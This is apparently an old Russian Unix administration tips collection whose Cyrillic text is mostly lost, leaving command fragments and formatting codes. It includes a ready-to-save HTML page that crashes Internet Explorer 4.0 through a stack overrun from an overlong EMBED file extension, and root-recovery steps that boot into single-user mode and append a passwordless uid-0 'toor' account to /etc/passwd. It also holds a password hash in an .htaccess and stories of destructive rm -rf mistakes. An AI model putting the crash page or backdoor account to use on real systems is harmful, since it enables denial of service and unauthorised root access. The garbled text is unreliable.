e_club
>tets
> .
> ( , )
> - hidden frame.
, _ _
:
__
, -
http://koshelev.ru/cgi-bin/bannerOver
204 No Content - .. _ _
.
&dD &d@
,
- .
&dD &d@
MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag.
<EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
opens a dialog box and closes IE 4.0. the long file extension causes stack overrun.
--------cut here and save as crashmsie.html---------------------
Trying to crash IE 4.0
<EMBED
SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
40
80 160 170 180 190 200
</HTML>
---------------------------------------------------------------
&dD &d@
.htaccess
order deny,allow
deny from all
allow from polimos.ras.ru localhost
AuthType Basic
AuthName lenta.ru
AuthUserFile /home/www/passwd
# moshkow:1HrhNpfYnwTau crypt()
require valid-user
&dD. &d@
. HTML http://sundg0.jinr.dubna.su/wguide/
, HTML 2.0 HTML 3 ../WEBMASTER/html20new.txt
.
&dD &d@
Unix - &dDfsck&d@. , .
, .
&dD * LINUX * &d@
:
.
&dD/dev/hd-name&d@
( /dev/hda2, /dev/hdb3 /dev/sda1...)
fs &dDtune2fs&d@
-c max-mount-counts -m reserved-blocks-percentage ..
tune2fs -m 1 /dev/hd-name # 50Mb ,
#
#
:
fsck -y -c -f /dev/hd-name
"" bad-
fsck -y -c -f /dev/hd-name
# -y "yes"
# -c bad- readonly inod bad-
# -f ( "fs is clean"
, -b 8193 -b 16385 ...
. sb
newfs. ( ?)
fs
&dDtune2fs -l&d@ &dDdumpe2fs&d@
tune2fs /dev/hd-name
dumpe2fs /dev/hd-name
__ - &dDmke2fs -S&d@
__ ,
mke2fs -S /dev/hd-name # Write superblock and group descriptors only
fsck -y /dev/hd-name # fsck
.
&dDdebugfs&d@
man debugfs
&dD &d@
, , single-user mode
LILO- (Left-alt)
single
Lilo: &dDlinux single&d@
linux' single-user root.
, :
Lilo: linux init=/bin/sh
( rescue- unix)
Lilo: linux init=/bin/sh root=/dev/fd0H1440
readonly write
mount -t ext2 -n -o remount,rw /dev/hd-root /
fs,
mount -t ext2 -o sb=8193,nocheck /dev/hd-name /mntname
( ):
man mount
.
&dD . Unix, &d@
&dD 1 . /etc/passwd&d@
&dD
> ( :), ) root'y
> /sbin/sh /bin/ksh
> /etc/passwd, ,
> /sbin/ksh.
> :
> $ su root -c /sbin/sh
> . .
> , : ?
&d@
. . - ",
shell ..." :-)
0. shell - root' - : su root -m -s /bin/sh
, -
single user mode CD/floppy/tape
1. df, / ,
,
mknod # mkdev, mknode, mksf -
#
,
- /dev/root ( "/"
2. //CD.
install/update/system maintance
"system maintence" ( shell root')
/dev/root /mnt
/mnt/etc/passwd
&dD No 1&d@
-
(!). -
mknode .
&dD No 2&d@
vi ( terminfo) .
.
echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd
^^^^^^
>> > ( :-)
:
PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH
TERMINFO=/mnt/usr/lib/terminfo #
- ,
,
, .
: root passwd Motorola Unix SVR4/88.
1. major/minor / /usr
104 0 /dev/root
104 3 /dev/dsk/m197_c0d0s3
2. , maintance .
3. , / /usr,
(..
root ).
mkdir /mnt
mknod /dev/rootn b 104 0
/etc/fs/ufs/fsck /dev/rootn
mount -F ufs /dev/rootn /mnt
/usr
mknod /dev/usr3 b 104 3
/etc/fs/ufs/fsck /dev/usr3
mount -F ufs /dev/usr3 /mnt/usr
4. /etc/passwd, root
echo "toor::0:1:Adm:/:/sbin/sh" >> /mnt/etc/passwd
5. C root' ( /mnt)
chroot /mnt /sbin/sh
6. shadow
pwconv
.
&dD 2 . /etc/fstab&d@
Date: 20 Apr 1997
From: Bernshtam Pavel (barnshte@CS.bgu.ac.il)
- /etc/fstab reboot
- - ( Axil SunOS
4.1) single user.
ls - Command not found - - /usr
SUN' /sbin - mount,
- /sbin/mount /usr.
VI!
set TERM -
VI. fstab - ( -
PICO, VI !!!), , save' - root partition
READ ONLY !!!
stop-A.
, , boot-
b -rw ( write),
mount VI /etc/fstab.
... - VI /var , .
/tmp - /var/tmp , VI /tmp .
/* Linux -
read-write - single-user-mode
mount -n -o remount /
*/
&dD rm -rf SCO&d@
, ".*" ".."
rm -r .*
( unix' , )
&dD
From:
"... SCO- Oracl
..."
# cd /usr/tmp
# rm -rf *
, /usr/tmp/.X11-0 ..
# rm -rf .* # !
# du
ldd: Can not open file
# df
ldd: Can not open file
# ls -al
ldd: Can not open file
&d@
. . .
. ,
/usr/tmp/.* /usr/tmp/.. reboot' ,
/usr .
&dD " "&d@
, Unix + TCP/IP -
.
&dD 1.&d@ IP-,
... - ,
ifconfig eth0 down
.
ifconfig eth0 NEW-IP .
, _ _
ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ...
&dD 2.&d@ security.
/etc/hosts.deny
ALL:ALL
/etc/hosts.allow
ALL:193.263.12.13
^^^ , ,
- .
&dD "" " "&d@
, reset ,
, , . telnet'
- .
, - voila!
&dD /lib/libc.so - LIB C&d@
Linux. 1993 . LibC. , ,
- - , - .
cd lib
mv libc.so libc.so-old
mv libc.so-new libc.so
ldd: Can not execute, shared library not found
Finish.
, hd.
, , ,
, .
... Linux. ,
/sbin - staticaly-linked -
libc .
&dD 1. Trusted mode - &d@
HP-UX sam'
- GUI, - .
- - .
, "Ok" SAM
trusted . , .
, root. trusted
,
- .
- single user mode:
prompt IPL
IPL> hpux -is
sam. "untrusted"
# mount -a
# sam
boot -
.
&dD 2. Security class C2: , SCO&d@
Security class C2 - .
. - .
SCO
, . getty
, 6- ,
getty Login "Intruder attempts, tty
line /dev/modem disabled".
getty.
&dDScreen- Enter&d@
screen-saver , ? , ,
CTRL.
/tmp. - root'.
rm -rf /tmp/*, ,
rm -rf /_ - .
, , __
. , ?
.